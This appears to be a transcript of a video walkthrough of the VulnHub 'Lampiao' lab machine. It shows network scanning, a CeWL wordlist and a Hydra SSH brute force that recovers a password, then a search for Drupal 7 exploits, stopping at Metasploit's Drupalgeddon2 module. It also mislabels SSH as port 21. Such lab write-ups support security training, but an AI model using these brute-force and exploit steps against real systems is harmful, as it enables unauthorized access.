Hello everyone! Welcome to my new video.
Today, we're exploring a vulnerable machine called "
Lampiao
". This
machine is part of a single series on VulnHub, rated as
Easy
in terms
of difficulty.
To get started, head over to the VulnHub website and download the vulnerable image for " Lampiao ".
If you're
new to VulnHub, be sure to check out our VulnHub playlist for helpful videos
that will guide you through the process.
Let's dive in and see how we can exploit
this machine!
Settings Up
Once you've downloaded the image, the next
step is
setting up
the server in VirtualBox.
The downloaded image is in the
form of a ZIP file, so the process involves extracting the ZIP file and
installing it by creating a new VM.
First, we need to extract the ZIP file
using
WinRAR. After extraction, I discovered several helpful files, including
the
VMDK
files.
Our next step involves
creating a new virtual machine. In VirtualBox, click on "
New
" to
create a new VM.
Name it "
Lampiao
" and select the operating system
type as
Linux. Set the version to "
Other Linux 64-bit," since we are
unsure of the exact distribution.
Proceed by allocating
RAM
for your VM and
click "Next."
Select "Use an existing virtual hard disk file"
and import the VMDK file extracted earlier.
After clicking "
Next," click on
"
Finish
" to complete the setup.
Once the import is finished, you'll
see the "
Lampiao
" vulnerable machine in the
VirtualBox manager. For
better organization, let me regroup it into the
VulnHub group.
Now, change the Network adapter to
"
Host-Only
."
It's important to ensure that both your
Kali Linux
machine (used for attacks)
and the
vulnerable machine
are connected to the same
network, so make sure they're both connected via the
host-only adapter
.
Next, attempt to start the VM to check if
it works, and you'll notice that our vulnerable machine is ready, with a
login prompt awaiting.
Let's dive into the fun!
Enumeration
Identify the IP address
The initial step in our attack is
enumeration, which involves identifying the IP address of our target machine
using
NetDiscover. To execute this, open a terminal and run "
netdiscover -i
" followed by specifying the network interface name, which in this
case is "
eth1
."
┌──(kali㉿kali)-[~]
└─$
sudo netdiscover -i eth1
Currently scanning: 192.168.99.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.95.1 0a:00:27:00:00:0d 1 60 Unknown vendor
192.168.95.2 08:00:27:16:70:0a 1 60 PCS Systemtechnik GmbH
192.168.95.21 08:00:27:1b:c0:ae 1 60 PCS Systemtechnik GmbH
From the scan results, we've obtained our
target IP address: "
192.168.95.21
."
Conduct Network Scan to identify Open Ports
Next, we'll conduct a network scan to
identify open ports, a crucial step in the enumeration process. This helps us
understand the attack surface and strategize targeted attacks. We'll use the
popular Nmap tool for this task.
nmap -sC -sV {Specify the IP Address}
In this command,
- "
-sC
" is used to perform a script scan using the default set
of scripts,
- while "
-sV
" enables version detection, allowing us
to identify which versions are running on which port.
┌──(kali㉿kali)-[~]
└─$
nmap -sC -sV 192.168.95.21
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 06:52 IST
Nmap scan report for 192.168.95.21
The host is up (0.00084s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp open http?
| fingerprint-strings:
| NULL:
| _____ _ _
| |_|/ ___ ___ __ _ ___ _ _
| \x20| __/ (_| __ \x20|_| |_
| ___/ __| |___/ ___|__,_|___/__, ( )
| |___/
| ______ _ _ _
| ___(_) | | | |
| \x20/ _` | / _ / _` | | | |/ _` | |
|_ __,_|__,_|_| |_|
1 service was unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=5/25%Time=66513D4E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,1179,"\x20_____\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\|_\x20\x20\x20_\|\x20\|\x20\
SF:(\x20\)\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\n\x20\x20\|\x20\|\x20\|\x20\|_\|/\x20___\x20\x20\x20\x20___\x20\
SF:x20__\x20_\x20___\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n\x20\x20\|\x20\|\x20\|\x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/\x20
SF:_`\x20/\x20__\|\x20\|\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x2
SF:0_\|\x20\|_\|\x20\|_\x20\x20\\__\x20\\\x20\|\x20\x20__/\x20\(_\|\x20\\_
SF:_\x20\\\x20\|_\|\x20\|_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\\___/\x20\\_
SF:_\|\x20\|___/\x20\x20\\___\|\\__,_\|___/\\__,\x20\(\x20\)\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20__/\x20\|/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|___/\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\n______\x20_\x20\x20\x20\x20\x20\x20\x20_\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\x20\n\|\x20\x20___\(_\)\x20\x2
SF:0\x20\x20\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\|
SF:\n\|\x20\|_\x20\x20\x20_\x20\x20\x20\x20__\|\x20\|_\x20\x20\x20_\x20_\x
SF:20__\x20___\x20\x20\x20__\x20_\x20\x20\x20\x20___\x20\x20__\x20_\x20_\x
SF:20\x20\x20_\x20\x20__\x20_\|\x20\|\n\|\x20\x20_\|\x20\|\x20\|\x20\x20/\
SF:x20_`\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x20_`\x20\|\x2
SF:0\x20/\x20_\x20\\/\x20_`\x20\|\x20\|\x20\|\x20\|/\x20_`\x20\|\x20\|\n\|
SF:\x20\|\x20\x20\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|_\|\x20\|\x20\|\x2
SF:0\|\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|\x20\x20__/\x20\(_\|\x20\|\x2
SF:0\|_\|\x20\|\x20\(_\|\x20\|_\|\n\\_\|\x20\x20\x20\|_\|\x20\x20\\__,_\|\
SF:\__,_\|_\|\x20\|_\|");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.03 seconds
┌──(kali㉿kali)-[~]
└─$
After completing the network scan, we
identified 2 open ports:
-
Port 21 TCP:
This indicates an
SSH service
is running on the target machine. Accessing this service with valid credentials
would allow us to log in successfully.
-
Port 80 TCP:
This port is running an
HTTP
service. Nmap couldn't identify the specific web service running on it,
suggesting it might be a custom web server or one with a very basic
configuration.
Web Enumeration Port 80
Now, let's explore the content of the
website running on
Port 80. To look at the contents ourselves, open a web
browser of your choice, and navigate to the target’s IP address in the URL bar
at the top of the window.
This webpage contains text-based
content or you can say it as it contains
ASCII text
. There don't appear to
be any vulnerabilities here, meaning this area isn't suitable for further
escalation.
For Further Escalation, Let me check if
there are any other open ports left, by running
Nmap
to find all open ports.
┌──(kali㉿kali)-[~]
└─$
nmap -sC -sV 192.168.95.21 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 06:54 IST
Nmap scan report for 192.168.95.21
Host is up (0.00051s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp open http?
| fingerprint-strings:
| NULL:
| _____ _ _
| |_|/ ___ ___ __ _ ___ _ _
| \x20| __/ (_| __ \x20|_| |_
| ___/ __| |___/ ___|__,_|___/__, ( )
| |___/
| ______ _ _ _
| ___(_) | | | |
| \x20/ _` | / _ / _` | | | |/ _` | |
|_ __,_|__,_|_| |_|
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=5/25%Time=66513DCE%P=x86_64-pc-linux-gnu%r(N
SF:ULL,1179,"\x20_____\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\|_\x20\x20\x20_\|\x20\|\x20\
SF:(\x20\)\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\n\x20\x20\|\x20\|\x20\|\x20\|_\|/\x20___\x20\x20\x20\x20___\x20\
SF:x20__\x20_\x20___\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\n\x20\x20\|\x20\|\x20\|\x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/\x20
SF:_`\x20/\x20__\|\x20\|\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x2
SF:0_\|\x20\|_\|\x20\|_\x20\x20\\__\x20\\\x20\|\x20\x20__/\x20\(_\|\x20\\_
SF:_\x20\\\x20\|_\|\x20\|_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\\___/\x20\\_
SF:_\|\x20\|___/\x20\x20\\___\|\\__,_\|___/\\__,\x20\(\x20\)\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20__/\x20\|/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|___/\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\n______\x20_\x20\x20\x20\x20\x20\x20\x20_\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\x20\n\|\x20\x20___\(_\)\x20\x2
SF:0\x20\x20\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\|
SF:\n\|\x20\|_\x20\x20\x20_\x20\x20\x20\x20__\|\x20\|_\x20\x20\x20_\x20_\x
SF:20__\x20___\x20\x20\x20__\x20_\x20\x20\x20\x20___\x20\x20__\x20_\x20_\x
SF:20\x20\x20_\x20\x20__\x20_\|\x20\|\n\|\x20\x20_\|\x20\|\x20\|\x20\x20/\
SF:x20_`\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x20_`\x20\|\x2
SF:0\x20/\x20_\x20\\/\x20_`\x20\|\x20\|\x20\|\x20\|/\x20_`\x20\|\x20\|\n\|
SF:\x20\|\x20\x20\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|_\|\x20\|\x20\|\x2
SF:0\|\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|\x20\x20__/\x20\(_\|\x20\|\x2
SF:0\|_\|\x20\|\x20\(_\|\x20\|_\|\n\\_\|\x20\x20\x20\|_\|\x20\x20\\__,_\|\
SF:\__,_\|_\|\x20\|_\|");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.10 seconds
┌──(kali㉿kali)-[~]
└─$
Nmap reveals that there is another open
port:
-
Port 1898 TCP: This port is running an
Apache HTTP Server (version 2.4.7) and is hosting a Drupal 7 content management
system (CMS). The website is titled "Lampiäo."
Web Enumeration Port 1898
To explore the content on Port 1898, enter
the target's IP address in your web browser's URL bar, followed by a colon and
the port number.
Upon accessing the website, you will see a
page titled "
Lampião
." This page appears to be a discussion or
informational site about
Lampião, a notable historical figure in Brazil
.
The main section of the page features an
article titled "Lampião, herói ou vilão do Sertão?" which translates
to "
Lampião, hero or villain of the Sertão?
"
This article, posted by
a user named
Tiago on April 19, 2018
, delves into the controversial legacy of
Lampião. It examines how Lampião is viewed both as an idol by some and as a
murderer by others. The article emphasizes the dual nature of his reputation,
noting that Lampião, a highly enigmatic figure in Brazilian history, was both
feared and admired by those he affected. It invites readers to explore his
complex story further.
Additionally, the website includes sections
for users to log in, create a new account, or request a new password.
This
suggests that the website might offer interactive or personalized features for
registered users.
Below the main article, there is another
entry titled "
First article...
" posted by a user named Eder on April
20, 2018.
This entry seems to be a test post, featuring a brief message, a
reference to an audio file named "
LuizGonzaga-LampiaoFalou.mp3
," and
a note indicating that "
Node 2 is not working
."
Upon analyzing the website content, I came
up with two ideas to gain a foothold on the target system.
-
We will try to brute force the system to obtain the username and
password.
-
The 2nd method
is more reliable and logical, as it involves
exploiting a vulnerability in the target system.
Foothold
Method 1: Try to brute force to obtain the credential
Let's explore how we can gain a foothold
using the first method:
Upon analyzing the website, I discovered
that there are two users, Tiago and Eder, who participate in writing the blogs.
These names appear to be potential usernames for the target system. To attempt to find their login credentials,
we can use Hydra against the SSH service. First, we have to save the usernames to a
file named, “
username.txt
”.
Next, we need a password wordlist. For
this, we will use
CeWL.
CeWL
is
a Ruby application that spiders a given URL up to a specified depth and returns
a list of words that can be used for password cracking.
To see the various options for building a
wordlist, run:
┌──(kali㉿kali)-[~]
└─$
cewl --help
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
Usage: cewl [OPTIONS] ... <url>
OPTIONS:
-h, --help: Show help.
-k, --keep: Keep the downloaded file.
-d <x>,--depth <x>: Depth to spider to, default 2.
-m, --min_word_length: Minimum word length, default 3.
-x, --max_word_length: Maximum word length, default unset.
-o, --offsite: Let the spider visit other sites.
--exclude: A file containing a list of paths to exclude
--allowed: A regex pattern that path must match to be followed
-w, --write: Write the output to the file.
-u, --ua <agent>: User agent to send.
-n, --no-words: Don't output the wordlist.
-g <x>, --groups <x>: Return groups of words as well
--lowercase: Lowercase all parsed words
--with-numbers: Accept words with numbers in as well as just letters
--convert-umlauts: Convert common ISO-8859-1 (Latin-1) umlauts (ä-ae, ö-oe, ü-ue, ß-ss)
-a, --meta: include meta data.
--meta_file file: Output file for meta data.
-e, --email: Include email addresses.
--email_file <file>: Output file for email addresses.
--meta-temp-dir <dir>: The temporary directory used by exiftool when parsing files, default /tmp.
-c, --count: Show the count for each word found.
-v, --verbose: Verbose.
--debug: Extra debug information.
Authentication
--auth_type: Digest or basic.
--auth_user: Authentication username.
--auth_pass: Authentication password.
Proxy Support
--proxy_host: Proxy host.
--proxy_port: Proxy port, default 8080.
--proxy_username: Username for proxy, if required.
--proxy_password: Password for proxy, if required.
Headers
--header, -H: In format name:value - can pass multiple.
<url>: The site to spider.
┌──(kali㉿kali)-[~]
└─$
Now, use
CeWL
to generate a wordlist by specifying
the URL, and the
-w
option to save the words to a
file.
┌──(kali㉿kali)-[~]
└─$
cewl http://192.168.95.21:1898/ -w wordlist.txt
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
┌──(kali㉿kali)-[~]
└─$
Now that we have both the username list and
the password list, we can use Hydra to perform the brute-force attack.
┌──(kali㉿kali)-[~]
└─$
hydra -L username.txt -P wordlist.txt ssh://192.168.95.21
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-25 09:23:31
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1688 login tries (l:2/p:844), ~106 tries per task
[DATA] attacking ssh://192.168.95.21:22/
[22][ssh] host: 192.168.95.21 login: tiago password: Virgulino
[STATUS] 879.00 tries/min, 879 tries in 00:01h, 809 to do in 00:01h, 16 active
[STATUS] 510.00 tries/min, 1020 tries in 00:02h, 668 to do in 00:02h, 16 active
[STATUS] 366.67 tries/min, 1100 tries in 00:03h, 588 to do in 00:02h, 16 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.
┌──(kali㉿kali)-[~]
└─$
Upon
execution, Hydra successfully retrieved the username and password:
-
Username: tiago
-
Password: Virgulino.
With the correct username and password, we
can now access the server using an SSH client tool.
┌──(kali㉿kali)-[~]
└─$
ssh tiago@192.168.95.21
The authenticity of host '192.168.95.21 (192.168.95.21)' can't be established.
ED25519 key fingerprint is SHA256:GGW0ASyjbhMycAKiglcXcsa0HvSwkLHZP9bQBtVrPs8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.95.21' (ED25519) to the list of known hosts.
tiago@192.168.95.21's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat May 25 00:54:25 BRT 2024
System load: 0.0 Processes: 138
Usage of /: 7.5% of 19.07GB Users logged in: 0
Memory usage: 28% IP address for eth0: 192.168.95.21
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1
tiago@lampiao:~$
ls -al
total 36
drwxr-xr-x 4 tiago tiago 4096 Apr 20 2018 .
drwxr-xr-x 3 root root 4096 Apr 19 2018 ..
drwx------ 2 tiago tiago 4096 Apr 19 2018 .aptitude
-rw------- 1 tiago tiago 25 Apr 20 2018 .bash_history
-rw-r--r-- 1 tiago tiago 220 Apr 19 2018 .bash_logout
-rw-r--r-- 1 tiago tiago 3637 Apr 19 2018 .bashrc
drwx------ 2 tiago tiago 4096 Apr 19 2018 .cache
-rw-r--r-- 1 tiago tiago 675 Apr 19 2018 .profile
-rw------- 1 root root 577 Apr 19 2018 .viminfo
tiago@lampiao:~$
I do not prioritize this method because the
main objective is to demonstrate the exploitation of the
Drupal CMS
. Therefore,
let's focus on exploiting the vulnerability to gain a foothold on the server.
Method 2: Exploiting the vulnerability
We previously identified that the web
server is running a
Drupal 7 content management system (CMS)
, which was confirmed
using
Wappalyzer
.
Given that this version of Drupal is outdated, it is likely
to have known vulnerabilities. Let’s investigate further to see if we can
exploit any of these vulnerabilities.
There is a tool called
Searchsploit
that is commonly
used to search for exploits offline, without needing an internet connection.
Searchsploit
is a command-line utility that allows you to search the Exploit
Database (EDB) for information on exploits and vulnerabilities.
┌──(kali㉿kali)-[~]
└─$
searchsploit drupal 7
----------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------- ---------------------------------
Drupal 10.1.2 - web-cache-poisoning-External-service-interaction | php/webapps/51723.txt
Drupal 4.1/4.2 - Cross-Site Scripting | php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection | php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution | php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection | php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector | php/webapps/4510.txt
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities | php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1) | php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2) | php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution) | php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities | php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution | php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution | php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution | php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities | php/webapps/33706.txt
Drupal < 7.34 - Denial of Service | php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit | php/remote/46510.rb
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure | php/webapps/44501.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Cross Site Scripting (XSS) | php/webapps/50841.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cross-Site Scripting | php/webapps/25493.txt
Drupal Module CODER 2.5 - Remote Command Execution (Metasploit) | php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scripting | php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary File Upload | php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/Media: Audio Flotsam - Multiple Vulnera | php/webapps/35072.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting | php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection
| php/webapps/33410.txt
----------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~]
└─$
When we use Searchsploit to search for
Drupal-related exploits, particularly for Drupal 7, it will provide a list of
various exploits and vulnerabilities.
-
These exploits, including the notable
'
Drupalgeddon
' series, represent critical vulnerabilities that can allow us to
gain full control of a Drupal website. The exploits cover multiple attack
vectors such as SQL injection, remote code execution, cross-site scripting, and
arbitrary file upload.
- Some of these vulnerabilities are integrated into
frameworks like Metasploit, which means they can be exploited using automated
tools.
- Additionally, certain vulnerabilities are specific to particular Drupal
modules.
In this session, we will use the
Drupalgeddon2 Remote Code Execution
vulnerability to gain access to the target system.
Exploit Drupel CMS using MSF Console
This process involves using
the
Metasploit Framework.
Launch the
Metasploit Console (MSF console).
This initializes the Metasploit database and starts the Metasploit console.
$
sudo msfdb init && msfconsole
[sudo] password for kali:
[i] Database already started
[i] The database appears to be already configured, skipping initialization
Metasploit tip: Use the edit command to open the currently active module
in your editor
______________________________________________________________________________
| |
| 3Kom SuperHack II Logon |
|______________________________________________________________________________|
| |
| |
| |
| User Name: [ security ] |
| |
| Password: [ ] |
| |
| |
| |
| [ OK ] |
|______________________________________________________________________________|
| |
| https://metasploit.com |
|______________________________________________________________________________|
=[ metasploit v6.4.5-dev ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
Once
the MSFconsole is launched, use the search command to find the Drupalgeddon2 exploit.
This command lists all matching modules related to Drupalgeddon2.
msf6 >
search Drupalgeddon2
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection
1 \_ target: Automatic (PHP In-Memory) . . . .
2 \_ target: Automatic (PHP Dropper) . . . .
3 \_ target: Automatic (Unix In-Memory) . . . .
4 \_ target: Automatic (Linux Dropper) . . . .
